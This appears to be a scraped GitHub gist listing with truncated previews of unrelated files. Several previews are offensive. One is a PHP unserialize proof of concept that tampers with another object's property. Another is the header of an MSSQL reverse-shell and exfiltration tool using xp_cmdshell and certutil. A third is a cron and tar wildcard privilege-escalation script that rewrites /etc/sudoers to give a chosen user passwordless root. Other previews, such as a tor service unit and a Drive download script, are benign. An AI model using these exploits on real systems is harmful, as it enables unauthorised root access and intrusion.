-
namespaces - overview of Linux namespaces http://man7.org/linux/man-pages/man7/namespaces.7.html
-
mount_namespaces - overview of Linux mount namespaces
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| $ cat /usr/lib/systemd/system/tor.service | |
| [Unit] | |
| Description=Anonymizing overlay network for TCP | |
| After=syslog.target network.target nss-lookup.target | |
| PartOf=tor-master.service | |
| ReloadPropagatedFrom=tor-master.service | |
| [Service] | |
| Type=notify | |
| NotifyAccess=all |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| """ | |
| phrack-rss.py - Generates a RSS feed for Phrack's releases. | |
| Copyright (c) 2016 Carter Yagemann | |
| This program is free software: you can redistribute it and/or modify | |
| it under the terms of the GNU General Public License as published by | |
| the Free Software Foundation, either version 3 of the License, or | |
| (at your option) any later version. | |
| This program is distributed in the hope that it will be useful, |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| $a = new stdClass; // handle = 1 | |
| $a->test = false; | |
| echo('Property $a->test is: '); | |
| var_dump($a->test); | |
| $b = unserialize('a:1:{i:0;C:3:"GMP":69:{s:1:"1";a:2:{s:4:"test";b:1;i:0;O:12:"DateInterval":1:{s:1:"y";R:2;}}}}'); | |
| echo('Property $a->test changed to: '); | |
| var_dump($a->test); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import sys | |
| import requests | |
| import threading | |
| import HTMLParser | |
| from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler | |
| ''' | |
| Description: Reverse MSSQL shell through xp_cmdshell + certutil for exfiltration | |
| Author: @xassiz | |
| ''' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| fileid="FILEIDENTIFIER" | |
| filename="FILENAME" | |
| curl -c ./cookie -s -L "https://drive.google.com/uc?export=download&id=${fileid}" > /dev/null | |
| curl -Lb ./cookie "https://drive.google.com/uc?export=download&confirm=`awk '/download/ {print $NF}' ./cookie`&id=${fileid}" -o ${filename} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/python3 | |
| # | |
| #Based on: https://www.thelacunablog.com/open-command-prompt-ms-paint.html | |
| import struct | |
| from PIL import Image | |
| def imagegen(s, path): | |
| # Fix header | |
| s = '\x00\x00\x0a\x0d\x0a\x0d' + s |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // https://www.hackingarticles.in/linux-privilege-escalation-by-exploiting-cron-jobs/ | |
| // This will replace sudoers. Add your user to <INSERT YOUR USER HERE> | |
| echo 'echo "Defaults env_reset" > /etc/sudoers' >> test.sh | |
| echo 'echo "Defaults mail_badpass" >> /etc/sudoers' >> test.sh | |
| echo 'echo "Defaults secure_path=\"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin\" ">> /etc/sudoers' >> test.sh | |
| echo 'echo "root ALL=(ALL:ALL) ALL" >> /etc/sudoers' >> test.sh | |
| echo 'echo "%sudo ALL=(ALL:ALL) ALL" >> /etc/sudoers' >> test.sh | |
| echo 'echo "<INSERT YOUR USER HERE> ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers' >> test.sh | |
| echo "" > "--checkpoint-action=exec=sh test.sh" | |
| echo "" > --checkpoint=1 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env bash | |
| set -o errexit | |
| set -o errtrace | |
| usage() { | |
| printf "\ | |
| macOS socketfilterfw decorator. | |
| firewall [-command] [args] |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Install XQuartz | |
| brew cask install xquartz | |
| # Restart MacOS | |
| # Open XQuartz | |
| open -a XQuartz | |
| # Ensure the "Allow connections from network clients" option in Preferences >> Security is turned on |